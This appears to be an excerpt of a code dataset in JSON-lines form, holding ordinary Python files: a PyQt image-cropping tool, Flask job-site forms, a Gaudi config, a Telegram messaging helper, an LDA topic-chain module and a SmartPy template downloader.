self.painter.end()\n\n\n def wheelEvent(self, event):\n we = QWheelEvent(event)\n if we.angleDelta().y() > 0:\n self.target_rect.setHeight(self.target_rect.height()*1.1)\n self.target_rect.setWidth(self.target_rect.width() *1.1)\n self.target_size=self.target_size*1.1\n self.update()\n else:\n self.target_rect.setHeight(self.target_rect.height() * 0.9)\n self.target_rect.setWidth(self.target_rect.width() * 0.9)\n self.target_size = self.target_size * 0.9\n self.update()\n # print(we.DragMove, we.DragEnter, we.FocusIn, we.angleDelta().y())\n\n def moveTarget(self,event,toparam):\n step = 1\n if event.modifiers() == Qt.ControlModifier:\n step = 10\n if toparam == Animal.left:\n self.target_rect.setLeft(self.target_rect.x() - step)\n if QApplication.keyboardModifiers() != Qt.ShiftModifier:\n self.target_rect.setWidth(self.target_rect.width() - step)\n if toparam ==Animal.right:\n self.count = self.count + 1\n if(self.count%10==1):\n self.starttime = time.time()\n self.pressright = 1\n if QApplication.keyboardModifiers() != Qt.ShiftModifier:\n self.target_rect.setLeft(self.target_rect.x() + step)\n self.target_rect.setWidth(self.target_rect.width() + step)\n else:\n self.target_rect.setRight(self.target_rect.right() + step)\n if toparam ==Animal.up:\n if QApplication.keyboardModifiers() == Qt.ShiftModifier:\n self.target_rect.setHeight(self.target_rect.height() * 1.1)\n self.target_rect.setWidth(self.target_rect.width() * 1.1)\n self.target_size = self.target_size * 1.1\n self.update()\n else:\n self.target_rect.setTop(self.target_rect.y() - step)\n if QApplication.keyboardModifiers() != Qt.ShiftModifier:\n self.target_rect.setHeight(self.target_rect.height() - step)\n if toparam ==Animal.down:\n if QApplication.keyboardModifiers() == Qt.ShiftModifier:\n self.target_rect.setHeight(self.target_rect.height() * 0.9)\n self.target_rect.setWidth(self.target_rect.width() * 0.9)\n self.target_size = self.target_size * 0.9\n self.update()\n else:\n self.pressdown = 1\n self.target_rect.setTop(self.target_rect.y() + step)\n if QApplication.keyboardModifiers() != Qt.ShiftModifier:\n self.target_rect.setHeight(self.target_rect.height() + step)\n # self.painter.setPen(QPen(Qt.red))\n # self.painter.drawRect(self.target_rect)\n self.update()\n # def keyReleaseEvent(self,event):\n # keyEvent = QKeyEvent(event)\n # if event.key() == Qt.Key_Right:\n # self.pressright = 0\n #\n # if (self.count % 5 == 4):\n # endtime = time.time()\n # if(endtime - self.starttime )<0.3:\n # print(str(self.count))\n # if event.key() == Qt.Key_Down:\n # self.pressdown = 0\n # print(\"down\")\n def rotate(self,img,angle):\n height = img.shape[0]\n width = img.shape[1]\n if angle % 180 == 0:\n scale = 1\n elif angle % 90 == 0:\n scale = float(max(height, width)) / min(height, width)\n else:\n scale = math.sqrt(pow(height, 2) + pow(width, 2)) / min(height, width)\n rotateMat = cv2.getRotationMatrix2D((width / 2, height / 2), angle, scale)\n rotateImg = cv2.warpAffine(img, rotateMat, (width, height))\n cv2.imwrite(self.filePath, rotateImg)\n return rotateImg # rotated image\n\n def keyPressEvent(self, event):\n keyEvent = QKeyEvent(event)\n if keyEvent.key() == 16777220 or keyEvent.key() == Qt.Key_Enter:\n # print(\"enter\", Qt.Key_Enter)\n out = self.image[self.target_rect.y():self.target_rect.bottom(), self.target_rect.x():self.target_rect.right()]\n #out = cv2.cvtColor(out, cv2.COLOR_BGR2GRAY)\n #out = cv2.resize(out, (self.dstwidth, self.dstwidth))\n self.number = self.number + 1\n \n if self.cnt < 688:\n print (self.cnt)\n self.cnt += 1\n else:\n if self.typte==0:\n #cv2.imwrite(self.topath + str(self.dstwidth) + \"\\\\\" + str(self.number) +\"_\"+str(int(self.target_rect.x()))+\"_\"+str(int(self.target_rect.y()))+\"_\"+str(int(self.target_rect.width()))+os.path.splitext(self.files[self.dstindex])[0]+\".png\", out)\n cv2.imwrite(self.topath + str(self.cnt) + \".png\", out)\n self.cnt += 1\n elif self.typte == 1:\n cv2.imwrite(self.topath +os.path.splitext(self.files[self.dstindex])[0]+\".png\", self.image)\n os.remove(self.filePath)\n self.shownext()\n if keyEvent.key() == Qt.Key_End or keyEvent.key() == Qt.Key_Period:#下一张\n if self.typte == 1:\n cv2.imwrite(self.negpath + os.path.splitext(self.files[self.dstindex])[0] + \".png\",\n self.image)\n os.remove(self.filePath)\n self.shownext()\n if keyEvent.key() == Qt.Key_J:\n angle = 90\n if QApplication.keyboardModifiers() == Qt.ControlModifier:\n angle = 180\n self.image = self.rotate(self.image, angle)\n self.update()\n if keyEvent.key() == Qt.Key_L:\n angle = 270\n if QApplication.keyboardModifiers() == Qt.ControlModifier:\n angle = 180\n self.image = self.rotate(self.image, angle)\n self.update()\n if keyEvent.key() == Qt.Key_Comma:#上一张\n if self.dstindex<1:\n self.dstindex=1\n self.dstindex = self.dstindex - 1\n fi = self.files[self.dstindex]\n self.filePath = os.path.join(self.frompath, fi)\n self.image = cv2.imread(self.filePath)\n self.update()\n if event.key() == Qt.Key_Left:\n self.moveTarget(event,Animal.left)\n if event.key() == Qt.Key_Right:\n self.moveTarget(event,Animal.right)\n if event.key() == Qt.Key_Up:\n self.moveTarget(event,Animal.up)\n if event.key() == Qt.Key_Down:\n self.moveTarget(event, Animal.down)\n if event.key() == Qt.Key_Escape:\n self.close()\n\n def mousePressEvent(self, event):\n rect = self.target_rect\n if rect.contains(event.pos()):\n self.dragging = 1\n self.mwidth = rect.right() - rect.left()\n self.drag_offset = event.pos() - rect.topLeft()\n else:\n self.dragging = None\n def mouseMoveEvent(self, event):\n\n if self.dragging is None:\n return\n # self.target_rect.setTopLeft(event.pos() - self.drag_offset)\n self.target_rect.setBottomRight(event.pos() - self.drag_offset+self.target_size)\n self.update()\n\n def mouseReleaseEvent(self, event):\n self.dragging = None\n\n def sizeHint(self):\n return QSize(1000, 1000)\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = Window()\n window.show()\n window.move((QApplication.desktop().width()) / 2-50, (QApplication.desktop().height()) / 100);\n sys.exit(app.exec_())","sub_path":"src/qt_getpossample.py","file_name":"qt_getpossample.py","file_ext":"py","file_size_in_byte":12011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"161017452","text":"from flask_wtf import FlaskForm\nfrom wtforms import (StringField, PasswordField, SubmitField, SelectField, FileField, TextAreaField, BooleanField,\n ValidationError)\nfrom wtforms.validators import (Length, Email, DataRequired, URL, EqualTo)\nfrom jobplus.models import db, User\n\n\nclass UserProfileForm(FlaskForm):\n \"\"\"\n 用户配置页\n author: little、seven\n \"\"\"\n name = StringField(\n label='用户名',\n validators=[\n DataRequired('用户名不能为空!'),\n Length(3, 24)\n ],\n render_kw={\n \"placeholder\": \"请输入片名!\",\n }\n )\n\n paswd = PasswordField(\n label='密码',\n validators=[\n DataRequired(\"密码不能为空!\"),\n Length(6, 24)\n ],\n render_kw={\n \"placeholder\": \"请输入密码!\",\n }\n )\n\n email = StringField(\n label='邮箱',\n validators=[\n DataRequired('邮箱不能为空!'),\n Length(1, 64),\n Email()\n ],\n render_kw={\n \"placeholder\": \"请输入邮箱!\",\n }\n )\n\n job_experiences = SelectField(\n label=\"年限\",\n validators=[\n DataRequired(\"工作年限!\"),\n ],\n coerce=int,\n choices=[\n (1, \"1年\"),\n (2, \"2年\"),\n (3, \"3年\"),\n (4, \"4年\"),\n (5, \"5年\"),\n\n ]\n )\n\n resume = FileField(\n label='简历',\n validators=[\n DataRequired(\"请上传简历\")\n ]\n )\n\n submit = SubmitField(label='提交')\n\n\nclass CompanyProfileForm(FlaskForm):\n \"\"\"\n 企业配置页\n author: little、seven\n \"\"\"\n name = StringField(\n label='企业名称',\n validators=[\n DataRequired(\"企业名称不能为空!\")\n ]\n )\n\n email = StringField(\n label='邮箱',\n validators=[\n DataRequired(\"邮箱不能为空!\"),\n Length(1, 64),\n Email()\n ]\n )\n\n password = PasswordField(\n label='密码',\n validators=[\n DataRequired(\"密码不能为空!\"),\n Length(6, 32)\n ]\n )\n\n address = TextAreaField(\n label='地址',\n validators=[\n DataRequired(\"地址不能为空!\"),\n Length(max=200)\n ]\n )\n\n logo = StringField(\n label='logo',\n validators=[\n DataRequired(\"请上传logo!\")\n ]\n )\n\n url = StringField(\n label='网站链接',\n validators=[\n DataRequired(\"网站链接不能为空!\"),\n URL()\n ]\n )\n\n one_introduction = TextAreaField(\n label='一句话简介',\n validators=[\n DataRequired(\"一句话简介不能为空!\"),\n Length(max=100)\n ]\n )\n\n info = TextAreaField(\n label='详细介绍',\n validators=[\n DataRequired(\"详细介绍不能为空!\"),\n Length(max=300)\n ]\n )\n\n submit = SubmitField(label='提交')\n\n\nclass LoginForm(FlaskForm):\n \"\"\"\n 登录表单\n Author: 小学生\n \"\"\"\n\n email = StringField(\n label='邮箱',\n validators=[\n DataRequired(\"邮箱不能为空\"),\n Email(),\n Length(1, 64)\n ]\n )\n\n password = PasswordField(\n label='密码',\n validators=[\n DataRequired(\"密码不能为空\"),\n Length(6, 24)\n ]\n )\n remember_me = BooleanField(\n label='记住我'\n )\n submit = SubmitField('登录')\n\n def validate_email(self, field):\n if field.data and not User.query.filter_by(email=field.data).first():\n raise ValidationError('该邮箱未注册')\n\n def validate_password(self, field):\n user = User.query.filter_by(email=self.email.data).first()\n if user and not user.check_password(field.data):\n raise ValidationError('密码错误')\n\n\nclass CompanyRegisterForm(FlaskForm):\n \"\"\"\n 注册表单\n Author: 小学生\n \"\"\"\n username = StringField('用户名', validators=[DataRequired(\"用户名不能为空!\"), Length(3, 24)])\n email = StringField('邮箱', validators=[DataRequired(\"邮箱不能为空\"), Email()])\n password = PasswordField('密码', validators=[DataRequired(\"密码不能为空\"), Length(6, 24)])\n repeat_password = PasswordField('重复密码', validators=[DataRequired(\"重复密码不能为空\"), EqualTo('password')])\n submit = SubmitField('提交')\n\n def validate_username(self, field):\n if User.query.filter_by(username=field.data).first():\n raise ValidationError('用户名已经存在')\n\n def validate_email(self, field):\n if User.query.filter_by(email=field.data).first():\n raise ValidationError('邮箱已经存在')\n\n def create_company(self):\n company = User(username=self.username.data,\n email=self.email.data,\n password=self.password.data,\n role=20\n )\n db.session.add(company)\n db.session.commit()\n return company\n\n\nclass UserRegisterForm(FlaskForm):\n \"\"\"\n author:little student\n\n increate forms\n \"\"\"\n username = StringField('用户名', validators=[DataRequired(\"用户名不能为空!\"), Length(3, 24)])\n email = StringField('邮箱', validators=[DataRequired(\"邮箱不能为空\"), Email()])\n password = PasswordField('密码', validators=[DataRequired(\"密码不能为空\"), Length(6, 24)])\n submit = SubmitField('提交')\n\n def validate_email(self, field):\n if User.query.filter_by(email=field.data).first():\n raise ValidationError('邮箱已经存在')\n\n def create_user(self):\n user = User(username=self.username.data,\n email=self.email.data,\n password=self.password.data,\n role=10\n )\n db.session.add(user)\n db.session.commit()\n return user\n\n\nclass UserForm(FlaskForm):\n \"\"\"\n 新增用户表单\n Author: little、seven\n \"\"\"\n email = StringField(\n label='邮箱',\n validators=[\n DataRequired(\"邮箱不能为空!\"),\n Length(1, 64, message=\"邮箱请输入1~64位长度!\"),\n Email()\n ]\n )\n\n password = PasswordField(\n label='密码',\n validators=[\n DataRequired(\"密码不能为空!\"),\n Length(6, 32, message=\"密码请输入6~32位的长度\")\n ]\n )\n\n username = StringField(\n label='姓名',\n validators=[\n DataRequired(\"请输入姓名!\"),\n ]\n )\n\n phone = StringField(\n label='手机',\n validators=[\n DataRequired(\"手机号不能为空!\"),\n Length(11, message=\"请输入长度为11位的手机号\")\n ]\n )\n\n submit = SubmitField('添加')\n\n def validate_email(self, field):\n if User.query.filter_by(email=field.data).first():\n raise ValidationError('用户名已经存在')\n\n\nclass CompanyForm(FlaskForm):\n \"\"\"\n 新增企业用户表单\n Author: little、seven\n \"\"\"\n email = StringField(\n label='邮箱',\n validators=[\n DataRequired(\"邮箱不能为空!\"),\n Length(1, 64, message=\"邮箱请输入1~64位长度!\"),\n Email()\n ]\n )\n\n password = PasswordField(\n label='密码',\n validators=[\n DataRequired(\"密码不能为空!\"),\n Length(6, 32, message=\"密码请输入6~32位��长度\")\n ]\n )\n\n username = StringField(\n label='姓名',\n validators=[\n DataRequired(\"请输入姓名!\"),\n ]\n )\n\n url = StringField(\n label='企业网站',\n validators=[\n DataRequired(\"企业网站不能为空!\")\n ]\n )\n\n one_introduction = TextAreaField(\n label='一句话简介',\n validators=[\n DataRequired(\"一句话简介不能为空!\"),\n Length(max=100)\n ]\n )\n\n submit = SubmitField('添加')\n\n def validate_email(self, field):\n if User.query.filter_by(email=field.data).first():\n raise ValidationError('用户名已经存在')\n\n\nclass JobAddForm(FlaskForm):\n name = StringField(\n label='职位名称',\n validators=[\n DataRequired(\"职位名称不能为空\")\n ]\n )\n\n salary = SelectField(\n label=\"薪资\",\n validators=[\n DataRequired(\"请选择薪资!\"),\n ],\n coerce=int,\n choices=[\n (3, '1k-3k'),\n (5, \"3k-5k\"),\n (10, \"5k-10k\"),\n (15, \"10k-15k\")\n\n ]\n )\n\n experience = StringField(\n label='经验要求',\n validators=[\n DataRequired(\"经验要求\")\n ]\n )\n\n job_des = TextAreaField(\n label='职位描述',\n validators=[\n DataRequired(\"职位描述不能为空\")\n ]\n )\n\n job_ask = TextAreaField(\n label='职位要求',\n validators=[\n DataRequired(\"职位要求不能为空!\")\n ]\n )\n\n location = StringField(\n label='城市',\n validators=[\n DataRequired(\"城市名称不能为空\")\n ]\n )\n\n submit = SubmitField('添加')\n","sub_path":"jobplus/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":9462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"263833127","text":"# this file contains general configurations for the \n# display option algorithm \n\n# needed in all display option files\nfrom Gaudi.Configuration import *\nfrom Configurables import SetHistDisplayOptions\nsetDisplay = SetHistDisplayOptions(\"setDisplay\")\n\n\n# setting the general options of the Application\n\n# PasswordFile points to the file containing the password for HIST_WRITER\n# the options should give the file name of the password \n# file, either relative to run directory or absolut.\n# default value is 'password'\n#createHistAlg.PasswordFile = \"password\"\n\nsetDisplay.HistoBase = \"TTNZSAna\"\n\n# set the output level for the message service\n# use one of: DEBUG (2), INFO (3), WARNING (4), ERROR (5), FATAL (6) \n# additionally there are: NIL (0), VERBOSE (1), ALWAYS (7), NUM_LEVELS (8)\nsetDisplay.OutputLevel = WARNING\n\n# Add the algorithm to the application manager\n# from Gaudi\napp = ApplicationMgr()\napp.TopAlg.append(setDisplay)\n","sub_path":"Lbcom/ST/STMonitors/python/incTT_dispOptsNZS.py","file_name":"incTT_dispOptsNZS.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"437979070","text":"class A:\n property1 = 'prop 1'\n property2 = 'prop 2'\n name = 'geust'\n\n def say_hi(self, name=''):\n if name:\n return 'Hi, '+ name\n else:\n return 'Hello, ' + self.name\n\na = A()\nb = A()\n#\n# print(a.property1)\n# print(a.property2)\nprint(a.say_hi('Tim'))\nprint(b.say_hi('Kitty'))\nprint(b.say_hi())\n","sub_path":"PythonFiles/study/lesson36.py","file_name":"lesson36.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"163821958","text":"import telebot\r\nimport const\r\n# import dao\r\n\r\nbot = telebot.TeleBot(const.TELEGRAM_TOKEN)\r\n\r\n# def save_chat_id(chat_id, username):\r\n# dao.updateChatIdForUser(chat_id, username)\r\n# pass\r\n\r\n\r\n# @bot.message_handler(commands=['start'])\r\n# def send_welcome(message):\r\n# chatId = message.from_user.id\r\n# userName = message.from_user.username\r\n# save_chat_id(chatId, userName)\r\n# bot.send_message(chat_id=chatId, text=\"Registered success !\");\r\n\r\n\r\ndef sendMessage(msg, chatId):\r\n try:\r\n print(msg)\r\n bot.send_message(chat_id=chatId, text=msg,disable_web_page_preview=True,parse_mode=\"html\")\r\n except Exception as e:\r\n print(\"Error telegram id \" + str(chatId))\r\n\r\n\r\ndef start():\r\n bot.polling()\r\n","sub_path":"telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486558979","text":"from gensim.matutils import hellinger\nimport json\n\n# define a merge\n# when more than 1 topic_dist points to a particular topic_dist in the next time slice.\n\n\n# define a split\n# a particular topic_dist points to more than 1 topic_dist in the next time slice.\nclass DynamicTopic:\n \"\"\"\n \n \"\"\"\n def __init__(self, dynamic_model, time_slice, topic_n):\n self._dm = dynamic_model\n self._time_slice = time_slice\n self._topic_n = topic_n\n\n @property\n def ts(self):\n return self._time_slice\n\n @property\n def ti(self):\n return self._topic_n\n\n @property\n def top_words(self):\n return [x[0] for x in self.top_word_distribution(1000)]\n\n def top_word_distribution(self, n):\n d = self._dm.get_topic_keys(self.ts, self.ti)\n return sorted(d.items(), key=lambda x: -x[-1])[:n]\n\n\n def next(self):\n next_time_slice = self._time_slice + 1\n if next_time_slice > len(self._dm._conn):\n return []\n related_future_topic_indexes = self._dm.get_outgoing_connections(self._time_slice, self._topic_n)\n return [DynamicTopic(self._dm, next_time_slice, i) for i in related_future_topic_indexes]\n\n def prev(self):\n prev_time_slice = self._time_slice-1\n if prev_time_slice < 0: return []\n related_previous_topic_indexes = [i for i, t in enumerate(self._dm._conn[prev_time_slice]) if self._topic_n in t]\n return [DynamicTopic(self._dm, prev_time_slice, i) for i in related_previous_topic_indexes]\n\n def __str__(self):\n return 'DT:'+str((self._time_slice, self._topic_n))\n\n __repr__ = __str__\n\n @classmethod\n def common_words(cls, dynamic_topics, n):\n common = set(dynamic_topics[0].top_words)\n for i in range(1, len(dynamic_topics)):\n common = common.intersection(set(dynamic_topics[i].top_words))\n return list(common)[:n]\n\nclass TopicChain:\n \"\"\"\n json format [[{topic(k:p)}, {topic}, {topic} ...]... more time_slices... ] == list(list(dict)))\n while k is the keyword and p is the probability\n \"\"\"\n def __init__(self, json_, **kwargs):\n self._data = json.load(open(json_))\n self._data = [[{k: float(y[k]) for k in y} for y in x] for x in self._data]\n\n self._threshold = kwargs.get('threshold') or 0.35\n self._max_outgoing = kwargs.get('max_outgoing') or 1\n self._max_incoming = kwargs.get('max_incoming') or 2\n self._nkeys = kwargs.get('nkeys') or 20\n self._conn = self._generate_conns_from_data()\n\n @property\n def table(self):\n # don't write to it # pretend it is read only\n return self._conn\n\n @property\n def nkeys(self):\n return self._nkeys\n\n @nkeys.setter\n def nkeys(self, new_value):\n self._nkeys = new_value\n self._conn = self._generate_conns_from_data()\n\n @property\n def threshold(self):\n return self._threshold\n\n @threshold.setter\n def threshold(self, new_value):\n self._threshold = new_value\n self._conn = self._generate_conns_from_data()\n\n @property\n def max_outgoing(self):\n return self._max_outgoing\n\n @max_outgoing.setter\n def max_outgoing(self, new_value):\n self._max_outgoing = new_value\n self._conn = self._generate_conns_from_data()\n\n @property\n def max_incoming(self):\n return self._max_incoming\n\n @max_incoming.setter\n def max_incoming(self, new_value):\n self._max_incoming = new_value\n self._conn = self._generate_conns_from_data()\n\n def get_topics_with_outgoing_connections(self, time_slice):\n return [i for i, x in enumerate(self._conn[time_slice]) if len(x)]\n\n def get_outgoing_connections(self, time_slice, topic_n):\n return self._conn[time_slice][topic_n]\n\n def get_topic_keys(self, time_slice, topic_n):\n return self._data[time_slice][topic_n]\n\n def get_dynamic_topic(self, time_slice, topic_n):\n return DynamicTopic(self, time_slice, topic_n)\n\n def _generate_conns_from_data(self):\n result = []\n data = self._data\n for i in range(len(data) - 1):\n lda_topic_1 = data[i]\n lda_topic_2 = data[i+1]\n lda_topic_1 = [sorted([(topic[k], k) for k in topic], key=lambda x: -x[0]) for topic in lda_topic_1]\n lda_topic_2 = [sorted([(topic[k], k) for k in topic], key=lambda x: -x[0]) for topic in lda_topic_2]\n l = len(lda_topic_1)\n d_matrix = [[None] * l for _ in range(l)]\n for i in range(l):\n for j in range(l):\n d_matrix[i][j] = self.compute_hellinger(lda_topic_1[i][:self._nkeys], lda_topic_2[j][:self._nkeys])\n slice_result = []\n for group in self.get_edges_between_two_time_slices(d_matrix,\n self.threshold,\n self.max_outgoing,\n self.max_incoming):\n \n slice_result.append(group)\n result.append(slice_result)\n return result\n\n def show_conns(self):\n for i, slice in enumerate(self._conn):\n line = '{}:'.format(i) + str(''.join(['{}:{}| '.format(i, t) for i, t in enumerate(slice)]))\n print(line)\n print(len(line) * '-')\n\n\n # def get_conns(self):\n # return\n\n\n @staticmethod\n def compute_hellinger(dist01, dist02):\n unique_words = set([x[1] for x in dist01] + [x[1] for x in dist02])\n dict_dist01 = {x[1]: x[0] for x in dist01}\n dict_dist02 = {x[1]: x[0] for x in dist02}\n vec01 = [dict_dist01.get(x, 0) for x in unique_words]\n vec02 = [dict_dist02.get(x, 0) for x in unique_words]\n return hellinger(vec01, vec02)\n\n @staticmethod\n def get_edges_between_two_time_slices(distance_table, threshold, max_outgoing, max_incoming):\n lst = []\n l = len(distance_table)\n # find outgoing connections under the limit\n for i in range(l):\n outgoings = list(filter(lambda x: distance_table[i][x] < threshold, range(l)))\n if len(outgoings) > max_outgoing:\n outgoings = sorted(outgoings, key=lambda x: distance_table[i][x])[:max_outgoing]\n lst.append(outgoings)\n\n # restrict the number of incoming connections from the 'merge'\n for j in range(l):\n incoming_conns = [i for i, p in enumerate(lst) if j in p]\n if len(incoming_conns) > max_incoming:\n conns_removed =sorted(incoming_conns, key=lambda x: distance_table[x][j])[max_incoming:]\n for i in conns_removed:\n lst[i].remove(j)\n return lst\n\nif __name__ == '__main__':\n dm = TopicChain('topic_keys.json',\n threshold=0.35,\n max_incoming=2,\n max_outgoing=1\n )\n\n","sub_path":"topic_chain.py","file_name":"topic_chain.py","file_ext":"py","file_size_in_byte":6990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"415590431","text":"# Download Tempaltes from SmartPy\nimport os\nimport halo\nimport errno\nimport gitlab\nfrom prompt_toolkit import HTML\nfrom chinstrap.chinstrapCore import Helpers\nfrom prompt_toolkit import print_formatted_text\n\nrepo = \"SmartPy/smartpy\"\n\ncontracts = {\n\t\"Token Contracts\": [{\n\t\t'fileName' : \"FA1.2.py\",\n\t\t'name' \t\t : \"FA1.2: Fungible Assets\",\n\t\t'description' : 'FA1.2 refers to an ERC20-like fungible token standard for Tezos. Proposed in TZIP-7.'\n\t}, {\n\t\t'fileName' : \"FA2.py\",\n\t\t'name' \t\t : \"FA2: Fungible, Non-fungible, Multiple or Single Assets\",\n\t\t'description' : 'FA2 exposes a unified token contract interface, supporting a wide range of token types and implementations. Proposed in TZIP-12.'\n\t}, {\n\t\t'fileName' : \"oracle.py\",\n\t\t'name' \t\t : \"Chainlink Oracles\",\n\t\t'description' : \"Building Chainlink oracles on Tezos - still experimental\"\n\t}],\n\t\"Simple Examples\": [{\n\t\t'fileName' : \"storeValue.py\",\n\t\t'name' \t\t : \"Store Value\",\n\t\t'description' : \"Store some data in the storage of a contract and change its value by calling its entry points.\"\n\t}, {\n\t\t'name' \t\t : \"Calculator\",\n\t\t'fileName' : \"calculator.py\",\n\t\t'description' : \"A simple calculator on the blockchain.\"\n\t}, {\n\t\t'fileName' : \"worldCalculator.py\",\n\t\t'name' \t\t : \"World Calculator\",\n\t\t'description' : \"A simple expression calculator on the blockchain (with parsing and pretty-printing).\"\n\t}, {\n\t\t'fileName' : \"fifo.py\",\n\t\t'name' \t\t : \"Fifo\",\n\t\t'description' : \"Contracts storing user defined first-in first-out data structures.\"\n\t}],\n\t\"Protocols\": [{\n\t\t'fileName' : \"atomicSwap.py\",\n\t\t'name' \t\t : \"Atomic Swap\",\n\t\t'description' : \"A simple, and naive, atomic swap contract.\"\n\t}, {\n\t\t'fileName' : \"escrow.py\",\n\t\t'name' \t\t : \"Escrow\",\n\t\t'description' : \"A simple escrow contract.\"\n\t}, {\n\t\t'fileName' : \"multisig.py\",\n\t\t'name' \t\t : \"Multisig\",\n\t\t'description' : \"A complex contract handling several multisig sub-contracts, each have several groups of several participants with extensive parametrization.\"\n\t}, {\n\t\t'fileName' : \"stateChannels.py\",\n\t\t'name' \t\t : \"State Channels (obsolete version)\",\n\t\t'description' : \"A contract transforming a simple game into a state channel for this game.\"\n\t}],\n\t\"State Channels\": [{\n\t\t'fileName' : \"state_channel_games/game_platform.py\",\n\t\t'contract'\t : True,\n\t\t'name' \t\t : \"Game platform\",\n\t\t'description' : \"State channel based game platform.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/game_tester.py\",\n\t\t'name' \t\t : \"Game tester\",\n\t\t'description' : \"Small contract to test game models.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/model_wrap.py\",\n\t\t'name' \t\t : \"Game wrapper\",\n\t\t'description' : \"Helper to prepare models for contracts.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/types.py\",\n\t\t'name' \t\t : \"Game types\",\n\t\t'description' : \"Type definitions for games.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/models/head_tail.py\",\n\t\t'name' \t\t : \"Game: Head and Tail model\",\n\t\t'description' : \"Game model for head and tail.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/models/nim.py\",\n\t\t'name' \t\t : \"Game: Nim model\",\n\t\t'description' : \"Game model for nim.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/models/tictactoe.py\",\n\t\t'name' \t\t : \"Game: tic-tac-toe model\",\n\t\t'description' : \"Game model for tic-tac-toe.\"\n\t}, {\n\t\t'fileName' : \"state_channel_games/models/transfer.py\",\n\t\t'name' \t\t : \"Game: transfer model\",\n\t\t'description' : \"Very simple model, transfer only.\"\n\t}],\n\t\"Small Games\": [{\n\t\t'fileName' : \"chess.py\",\n\t\t'name' \t\t : \"Chess game\",\n\t\t'description' : \"Example template with moves for a few pieces.\"\n\t}, {\n\t\t'fileName' : \"game_of_life.py\",\n\t\t'name' \t\t : \"Game of Life\",\n\t\t'description' : \"Example template for a game of life simulator.\"\n\t}, {\n\t\t'fileName' : \"jingleBells.py\",\n\t\t'name' \t\t : \"Jingle Bells\",\n\t\t'description' : \"A minimalistic contract to sing Jingle Bells. Dashing through the snow, ...\"\n\t}, {\n\t\t'fileName' : \"minikitties.py\",\n\t\t'name' \t\t : \"Mini Kitties\",\n\t\t'description' : \"Small example freely inspired by crypto-kitties\"\n\t}, {\n\t\t'fileName' : \"nim.py\",\n\t\t'name' \t\t : \"Nim game\",\n\t\t'description' : '\\n Implementation of a Nim game (wikipedia page).\\n
Use of arrays.\\n
One contract handles one game.\\n '\n\t}, {\n\t\t'fileName' : \"nimLift.py\",\n\t\t'name' \t\t : \"Nim game repository\",\n\t\t'description' : \"\\n Implementation of a Nim game (wikipedia
page).\\n
One contract can handle many games in parallel.\\n \"\n\t}, {\n\t\t'fileName' : \"tictactoe.py\",\n\t\t'name' \t\t : \"TicTacToe game\",\n\t\t'description' : \"A simple TicTacToe game showing many regular concepts for simple games.\"\n\t}, {\n\t\t'fileName' : \"tictactoeFactory.py\",\n\t\t'name' \t\t : \"TicTacToe game factory\",\n\t\t'description' : \"A factory to handle several simple TicTacToe games showing many regular concepts for simple games.\"\n\t}]\n}\n\nclass SmartPyDownloader:\n\tdef __init__(self):\n\t\tself.gl = gitlab.Gitlab('https://gitlab.com')\n\t\tself.project = self.gl.projects.get(repo)\n\n\tdef displayTemplateCategories(self):\n\t\tprom = Helpers.SelectionPrompt()\n\t\ttemplateType = prom.prompt(HTML('Available categories:'), options=contracts.keys())\n\n\t\tif templateType=='State Channels':\n\t\t\tfor i in contracts[templateType]:\n\t\t\t\tif 'contract' in i.keys():\n\t\t\t\t\tself.downloadContractTemplate(f\"python/templates/{i['fileName']}\", True)\n\t\t\t\telse:\n\t\t\t\t\tself.downloadContractTemplate(f\"python/templates/{i['fileName']}\")\n\t\t\t\n\t\t\treturn\n\n\t\toptions = []\n\t\tfor i in contracts[templateType]:\n\t\t\toptions.append(i['name'])\n\n\t\tprint()\n\n\t\tprom = Helpers.SelectionPrompt(sideBySide=False)\n\t\tcontractChoice = prom.prompt(HTML('Available contracts:'), options=options)\n\t\t\n\t\tfor i in contracts[templateType]:\n\t\t\tif i['name'] == contractChoice:\n\t\t\t\tself.downloadContractTemplate(f\"python/templates/{i['fileName']}\")\n\n\tdef getListOfTemplates(self):\n\t\ttemplates = self.project.repository_tree(path='python/templates', per_page=200)\n\t\tfor template in templates:\n\t\t\tif template['type']=='blob':\n\t\t\t\tyield template['id'], template['name'], template['path']\n\t\n\tdef showAvailableFiles(self):\n\t\tmsg =HTML(f\"name {'':<16}|{'':<16} path\")\n\t\tprint_formatted_text(msg)\n\t\t\n\t\tfor i in self.getListOfTemplates():\n\t\t\tmsg =HTML(f\"{i[1]:32} {i[2]}\")\n\t\t\tprint_formatted_text(msg)\n\n\tdef mkdir_p(self, path):\n\t\ttry:\n\t\t\tos.makedirs(path)\n\t\texcept OSError as exc: # Python >2.5\n\t\t\tif exc.errno == errno.EEXIST and os.path.isdir(path):\n\t\t\t\tpass\n\t\t\telse: raise\n\t\t\t\n\tdef downloadContractTemplate(self, path, contract=False):\n\t\tbasename = os.path.basename(path)\n\t\tspinner = halo.Halo(text=f'Fetching file!', spinner='dots')\n\t\tspinner.start()\n\n\t\tlocalFilePath = f'contracts/'\n\t\tif contract:\n\t\t\tlocalFilePath += basename\n\t\telse:\n\t\t\tlocalFilePath += path.replace(\"python/templates/\",\"\")\n\t\t\n\t\tself.mkdir_p(os.path.dirname(localFilePath))\n\t\t\n\n\t\twith open(localFilePath, 'wb') as f:\n\t\t\tself.project.files.raw(file_path=path, ref='master', streamed=True, action=f.write)\n\n\t\tspinner.succeed(text=f\"File saved to 